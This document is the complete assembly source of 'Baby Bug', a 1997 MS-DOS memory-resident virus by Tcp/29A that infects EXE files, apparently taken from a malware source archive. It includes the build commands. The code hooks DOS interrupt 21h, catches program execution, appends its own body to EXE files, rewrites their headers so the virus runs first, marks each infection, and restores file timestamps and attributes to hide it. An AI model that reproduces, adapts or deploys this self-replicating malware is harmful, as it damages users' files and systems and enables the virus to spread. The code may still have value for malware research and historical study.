MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.babybug.asm
2021-01-12 17:31:39 -06:00

306 lines
11 KiB
NASM

;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Baby Bug ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Because in 29A#2 it wasn't going to be published any virus originally wri-
; tten by me and i did not like that, taking advantage of a little last-hour
; delay in the release of the magazine and of a rainy afternoon i decided to
; code this little virus. It is a 407 byte-long TSR EXE infector, which uses
; a pretty unusual code in order to process the EXE header... and this code,
; as you may imagine, takes less bytes than the standard one :)
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m babybug.asm
; tlink babybyg.obj
.286
baby segment
assume cs:baby, ds:baby, es:baby, ss:baby
org 0
VIRUS_SIZE = end_virus - start
VIRUS_MEM_SIZE = memsize - start
VIR_PARAG = (VIRUS_MEM_SIZE + 15) / 16 + 1
start:
delta_ofs equ word ptr $+1
mov si,0 ; mov si,delta_ofs
push ds
push es
mov ax,ds
add ax,10h
add cs:[si+f_relocs],ax ; Relocate host CS & SS
add cs:[si+f_reloss],ax
mov ax,0BAB1h ; Resident check
int 21h
cmp ax,0BA03h ; Already resident?
je exec_host ; Yes? then jmp
mov ax,ds
dec ax
mov ds,ax
mov bx,ds:[0003]
sub bx,VIR_PARAG+1
mov ah,4Ah
int 21h ; Adjust current block
mov ah,48h
mov bx,VIR_PARAG
int 21h ; Get memory
mov es,ax
push cs
pop ds
xor di,di
mov cx,VIRUS_SIZE
rep movsb ; Copy virus to allocated mem
push es
push offset(mem_copy)
retf
db '[Baby Bug, Tcp/29A]'
mem_copy:
push cs
pop ds
dec ax
mov es,ax
mov word ptr es:[0001],8 ; DOS MCB
mov ax,3521h ; Read int 21h
int 21h
mov [di],bx ; Store it
mov [di+2],es
mov dx,offset(vir_21h) ; Virus int 21h
mov ah,25h
int 21h
exec_host:
pop es
pop ds
cli
db 68h ; push f_reloss
f_reloss dw 0FFF0h
pop ss
f_exesp equ word ptr $+1
mov sp,offset(memsize) ; mov sp,f_exesp
sti
db 0EAh ; jmp host entry point
f_exeip dw 0
f_relocs dw 0FFF0h
vir_21h:
cmp ax,0BAB1h ; Resident check?
jne check_exec ; No? then jmp
int_24h:
mov al,3
iret
check_exec:
cmp ax,4B00h ; Exec file?
je process_file ; Yes? then jmp
jmp jmp_real_21
process_file:
pusha
push ds
push es
mov ax,3524h
int 21h ; Read int 24h
push es
push bx
mov ah,25h
push ax
push ds
push dx
push cs
pop ds
mov dx,offset(int_24h)
int 21h ; Set virus int 24h
pop dx
pop ds
mov ax,4300h
push ax
int 21h ; Read file attributes
pop ax
inc ax
push ax
push cx
push ds
push dx
xor cx,cx
int 21h ; Reset file attributes
jnc open_file
jmp_r_attr:
jmp restore_attr
open_file:
mov ax,3D02h
int 21h ; Open file I/O
jc jmp_r_attr
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h ; Get file date/time
push ax
push cx
push dx
mov ah,3Fh
mov dx,offset(file_header)
mov cx,18h
int 21h ; Read file header
mov si,dx
stc
lodsw ; Signature
cmp ax,'MZ' ; EXE?
je infect_exe ; Yes? then jmp
cmp ax,'ZM' ; EXE?
jne jmp_r_datetime ; Yes? then jmp
infect_exe:
lodsw ; Part page
xchg ax,bp
lodsw ; Number of 512 bytes pages
or bp,bp
jz no_sub_page
dec ax
no_sub_page:
mov cx,512
mul cx
add ax,bp ; Calculate file size
adc dx,0
push ax ; Save it
push dx
lodsw ; Relocation items
lodsw ; Header size
xchg ax,bp
lodsw ; Min. memory
lodsw ; Max. memory
mov di,offset(f_reloss)
movsw ; SS
scasw ; DI+2
movsw ; SP
scasw ; DI+2
lodsw ; checksum
movsw ; IP
xchg ax,dx
lodsw ; CS
stosw
cmp ax,dx ; checksum == CS? infected?
pop dx
pop ax
je restore_datetime ; Yes? ten jmp
push bp
push ax
push dx
mov ax,4202h
xor cx,cx
cwd
int 21h ; Lseek end of file
pop cx
pop bp
cmp ax,bp ; Overlays?
pop bp
jmp_r_datetime:
jne restore_datetime ; Yes? then jmp
cmp dx,cx ; Overlays?
jne restore_datetime ; Yes? then jmp
push ax
push dx
mov cx,16 ; Calculate virus CS, IP
div cx
sub ax,bp
std
mov di,si
scasw
stosw ; CS
xchg ax,dx
stosw ; IP
mov delta_ofs,ax
xchg ax,dx
stosw ; Checksum = CS (infection mark)
xchg ax,dx
mov ax,VIR_PARAG*16 ; SP
stosw
xchg ax,dx
stosw ; SS
cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it
cmpsw ; doesn't roq... :)
cmpsw
cmpsw
pop dx
pop ax
add ax,VIRUS_SIZE ; Calculate number of pages
adc dx,0
mov cx,512
div cx
or dx,dx
jz no_inc_pag
inc ax
no_inc_pag:
stosw ; Number of pages
xchg ax,dx
stosw ; Bytes in last page
mov ah,40h
cwd
mov cx,VIRUS_SIZE
int 21h ; Append virus body to file
jc restore_datetime
mov ax,4200h
mov cx,dx
int 21h ; Lseek begin of file
mov ah,40h
mov dx,di
mov cx,18h
int 21h ; Write new header to file
restore_datetime:
pop dx
pop cx
pop ax
inc ax ; 5701h
int 21h ; Restore date & time
mov ah,3Eh
int 21h ; Close file
restore_attr:
pop dx
pop ds
pop cx
pop ax
int 21h ; Restore attributes
pop ax
pop dx
pop ds
int 21h ; Restore int 24h
pop es
pop ds
popa
jmp_real_21:
db 0EAh ; jmp to int 21h
end_virus:
ofs_i21 dw ?
seg_i21 dw ?
file_header:
signature dw ?
part_page dw ?
pages dw ?
relo_items dw ?
hdrsize dw ?
mim_mem dw ?
max_mem dw ?
reloss dw ?
exesp dw ?
checksum dw ?
exeip dw ?
relocs dw ?
memsize:
baby ends
end start
; Baby Bug, by Tcp/29A
; (c) 1997, Tcp/29A (tcp@cryogen.com)